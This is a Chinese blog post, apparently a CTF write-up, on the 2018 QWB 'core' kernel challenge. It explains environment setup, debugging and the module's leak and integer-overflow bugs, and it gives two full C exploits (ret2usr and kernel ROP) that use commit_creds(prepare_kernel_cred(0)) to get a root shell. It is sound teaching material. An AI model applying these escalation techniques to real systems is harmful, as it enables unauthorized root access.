( 原文链接:https://0xffff.one/d/419 )
- -·
据说下次的某一场比赛中会有kernel的题目,所以就顺便把kernel的题也入门了。在这里把遇到的坑记一下
(入门用的是kernel的hello world题,2018的强网杯core)
介绍篇·
这部分的话CTF-wiki会讲得更详细一些。
通常kernel题都会给以下几个文件
1 2
| ✎ $ ls bzImage core.cpio start.sh vmlinux
|
不同的题目文件取名可能会不一样。这里重点关注的是start.sh和core.cpio(其他wiki也有说),start.sh是qemu的启动脚本,题目给的内核是需要虚拟机来运行的,所以需要先安装好qemu。
core.cpio是文件系统的映像(跟我自己系统的根差不多吧- -),解包后如下:
解包的脚本(根据自己需求改吧):
1 2 3 4 5 6 7
| mkdir core mv core.cpio ./core/core.cpio.gz cd core gunzip core.cpio.gz > /dev/null 2>&1 cpio -idmv < core.cpio > /dev/null 2>&1 rm core.cpio cd ..
|
另外附上重打包脚本:
1 2 3 4 5
| cd core ./gen_cpio.sh core.cpio > /dev/null 2>&1 mv core.cpio ../core.cpio cd .. rm -rf core
|
解包出来的文件重点关注这三个:core.ko、init和vmlinux(同样,不同题目名字可能不一样)。core.ko是那个出题人写的内核模块,通常漏洞都是在这里的;init是启动内核后会运行的开机脚本;vmlinux大概是内核的二进制文件吧,找ROP的时候会用到,有时题目给的vmlinux和解包出来的vmlinux会不一样的(贼坑),应该按包里面的为准。
IDA大概看一下core.ko的结构,通常都应该会找到下面两个函数的:
ioctl是大概是用户和内核交互的一个接口吧,可以看到里面是一个switch case(其实我没看过别的题的,应该都差不多吧- -),给某个特定的case就会执行特定的操作。
init_module函数是加载模块时会执行的初始化函数,重点关注的是里面的core_fops数组,只有写在这个数组里面的函数才可以被用户态调用(好像是叫file_operations)。
环境篇·
在解题前还要先做一些准备。首先是start.sh里要把内存调大一点(-m那个参数,大概128或256应该就够了),另外为了方便调试还可以先关闭一些保护(-append那个参数,怎么关的话谷歌一下吧,我也没关过- -)。
还有要改的是init那个文件,可以加上下面两行,第一行是因为内核中的打印都是用printk的,需要用dmesg看日志,加上这一行才能不需要root运行dmesg;第二行是把那个自定义模块的基址打印到另一个文件中,调试要用。不过把原先的init文件中的echo 1的那两句删掉应该也是同样效果的- -。
1 2
| echo 0 > /proc/sys/kernel/dmesg_restrict cat /sys/module/core/sections/.text > /tmp/core_text
|
加完后如下
另外,在这题中还把kallsyms放到tmp里了,这个文件可以泄漏一些内核函数地址(和基址),不过其实下面会说到栈里面就可以泄漏这些地址了,所以这题用处不大。
ROP的话用ROPgadget跑的话会慢到想死。。。用ropper跑的话会快一点,但要求内存要够(我的垃圾小米跑几次卡几次 - -)
调试的话就是用gdb了,qemu的启动中有个 -s 参数,就是开启了gdb的1234端口的远程调试。还有刚才弄的core_text文件,可以用来加载符号,具体做法(要先运行start.sh):
1 2 3 4
| gdb vmlinux pwndbg> add-symbol-file core.ko `这里写那个core_text文件中泄漏出来的基址` pwndbg> target remote:1234 pwndbg> b *(core_copy_func+104)
|
第一句就是根据基址加载模块的符号,第二句是远程调试进入虚拟机,第三句就可以愉快地用符号下断点了。
另外在那个内核中发现没有gcc - - ,所以只想到每次改完后重新打包把exp放进去了。还有一种更骚的方法是用wget。。。
实战篇·
实战就是2018强网杯的kernel题了。题目给了漏洞很明显的read、write和copy三个函数,可以说是为了出题而出题了。
首先看core_fops,只有write和ioctl;再看ioctl,可以从这里调用read和copy,还有一项可以设置read中的一个参数(上面有图这里就不放了)。
read中有一个漏洞,通过控制好offset可以泄漏栈的一些内容,如canary,代码基址,栈基址等。(另外,copy_to_user这个函数是把内核态的一些东西复制到用户态那里去,copy_from_user则是相反)
copy里则是一个整数溢出的漏洞,可以绕过范围检测造成栈溢出(那个nsigned int16也是挺显眼的了,还有input是有符号的,给个负数就可以绕过了)。
所以利用思路就是:read泄漏信息 -> write把ROP写到name上 -> copy栈溢出控制程序流 。
这里还要说明一下的是kernel题除了getshell外主要做的其实是要提权(就是那个root权限,uid为0的),提权用的代码如下,据说prepare_kernel_cred是用来生成一个cred结构体的(默认uid是0 ??),commit_creds用于把这个结构体赋给进程,最终达到提权。
1
| commit_creds(prepare_kernel_cred(0))
|
还有要注意而且比较麻烦(对我这种刚入门的菜鸡来说)就是内核态和用户态切换是要进行现场保护,要用到两个指令,一个是swapgs,听名字是用来换也的,就是恢复gs吧;另一个是iretq,用来恢复一些寄存器(CS, eflags/rflags, esp/rsp 等,这两个维基也有说),据说sysretq不用这么麻烦,但我没用过。
用iretq的话最后返回是要在栈上摆一下要恢复的寄存器的值,顺序应该是(CS, eflags/rflags, esp/rsp, ss;我也还没搞清楚,不过好像是记住就行了),通过一下函数可以把用户态的对应寄存器值保存到程序的变量中(也是记住吧):
1 2 3 4 5 6 7 8 9 10 11 12 13
| unsigned long user_cs, user_ss, user_rflags, user_sp; void save_stats() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss),"=r"(user_rflags),"=r"(user_sp) : : "memory" ); }
|
然后就回到题目了,这道题有两种解法
ret2usr·
先放exp,再解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| #include <sys/fcntl.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h>
unsigned long user_cs, user_ss, user_rflags, user_sp; void save_stats() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" :"=r"(user_cs), "=r"(user_ss),"=r"(user_sp),"=r"(user_rflags) : : "memory" ); }
void getShell(){ system("/bin/sh"); }
unsigned long c_c; unsigned long p_k_c; void getRoot(){ char* (*pkc)(int) = p_k_c; int (*cc)(char*) = c_c; (*cc)( (*pkc)(0) ); }
unsigned long buf[16] = {0}; unsigned long rop[32] = {0}; unsigned long vm_base = 0xffffffff81000000;
int main(){ save_stats(); int fd = open("/proc/core", O_RDWR); ioctl(fd, 0x6677889C,64); ioctl(fd, 0x6677889B,buf); printf("----- stack -----\n"); for(int i=0;i<8;i++){ printf("0x%lx\n",buf[i]); } unsigned long canary = buf[0]; printf("canary -> 0x%lx\n",canary);
vm_base = buf[4] - 0x1dd6d1; printf("vm_base -> 0x%lx\n",vm_base); unsigned long swapgs = vm_base + 0xa012da; unsigned long iretq = vm_base + 0x50ac2; unsigned long commit_creds = vm_base + 0x9c8e0; unsigned long prepare_kernel_cred = vm_base + 0x9cce0; unsigned long pop_rdi = vm_base + 0xb2f; unsigned long mov_rax_rdi = vm_base + 0x52d8d;
c_c = commit_creds; p_k_c = prepare_kernel_cred;
rop[8] = canary; rop[9] = buf[1]; rop[10] = (unsigned long)getRoot; rop[11] = swapgs; rop[12] = 0; rop[13] = iretq; rop[14] = (unsigned long)getShell; rop[15] = user_cs; rop[16] = user_rflags; rop[17] = user_sp; rop[18] = user_ss; write(0,"test!",5); write(fd,rop,0xc0); ioctl(fd,0x6677889A,0xffffffff000000c0); }
|
kernel题的exp通常都是C语言(或C++ ?)写的,因为不用远程连接。
所谓ret2usr就是用户态不能访问内核态的东西,但是内核态可以访问用户态的东西,所以就可以利用内核的漏洞,在内核态中调用用户态的程序(函数或shellcode)。但这种方法在今天是很有局限性的,因为会有一种叫SMEP的保护机制禁止内核态执行用户态的程序,但这道题没有开SMEP。
然后就对着exp讲了,save_stats上面也说过,要保存某些寄存器的值。
getShell就是get shell了,因为最终目的是要拿到一个root权限的shell。
getRoot就是上面说过的提权函数commit_creds(prepare_kernel_cred(0)),因为直接写这个函数的话链接会失败,所以有一种技巧就是用函数指针,这需要先知道对应函数的地址,上面也说过read可以把我想要的东西泄漏出来了。
ioctl把offset调成64再read可以泄漏stack guard(canary),除此之外代码的基址和栈的基址也可以通过泄漏的东西计算出来(这题只有代码基址有用,可以算ROP)。
fd那个好像是ioctl要用到的,也是抄别人的。其他的话注释也有了,exp不长,应该可以看懂的(逃
kernel ROP·
先放exp,再解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| #include <sys/fcntl.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h>
void getShell(){ system("/bin/sh"); }
unsigned long user_cs, user_ss, user_rflags, user_sp; void save_stats() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss),"=r"(user_rflags),"=r"(user_sp) : : "memory" ); }
unsigned long buf[16] = {0}; unsigned long rop[32] = {0}; unsigned long vm_base = 0xffffffff81000000;
int main(){ save_stats(); int fd = open("/proc/core", O_RDWR); ioctl(fd, 0x6677889C,64); ioctl(fd, 0x6677889B,buf); printf("----- stack -----\n"); for(int i=0;i<8;i++){ printf("0x%lx\n",buf[i]); } unsigned long canary = buf[0]; printf("canary -> 0x%lx\n",canary); unsigned long code_base = buf[2]-0x19b; printf("code_base -> 0x%lx\n",code_base); unsigned long stack_base = code_base+0x2400; printf("stack_base -> 0x%lx\n",stack_base);
vm_base = buf[4] - 0x1dd6d1; printf("vm_base -> 0x%lx\n",vm_base); unsigned long swapgs = vm_base + 0xa012da; unsigned long iretq = vm_base + 0x50ac2; unsigned long commit_creds = vm_base + 0x9c8e0; unsigned long prepare_kernel_cred = vm_base + 0x9cce0;
unsigned long pop_rdi = vm_base + 0xb2f; unsigned long pop_rdx = vm_base + 0xa0f49; unsigned long mov_rdi_rax_call_rdx = vm_base + 0x1aa6a;
rop[8] = canary; rop[9] = buf[1]; rop[10] = pop_rdi; rop[11] = 0; rop[12] = prepare_kernel_cred; rop[13] = pop_rdx; rop[14] = pop_rdx; rop[15] = mov_rdi_rax_call_rdx; rop[16] = commit_creds; rop[17] = swapgs; rop[18] = 0; rop[19] = iretq; rop[20] = (unsigned long)getShell; rop[21] = user_cs; rop[22] = user_rflags; rop[23] = user_sp; rop[24] = user_ss; write(0,"test!",5); write(fd,rop,0xd0); ioctl(fd,0x6677889A,0xffffffff000000d0); }
|
kernel ROP是一种更通用的方法,就算SMEP开了也可以用。其实跟普通的ROP一样,也没什么好说的。。。
有个地方要注意一下的是调用完prepare_kernel_cred后要把结果当作commit_creds的参数,本来是需要"mov rdi, rax; ret"的,但是vmlinux里面没有这个ROP,所以参考p4nda的做法用"mov rdi, rax; call rdx"代替,在rdx放一个pop的指令就可以废掉"call rdx"。
后面恢复现场的做法跟ret2usr一样。
Link·
CTF wiki
p4nda的题解
kernel pwn(0)
Linux Kernel ROP
环境搭建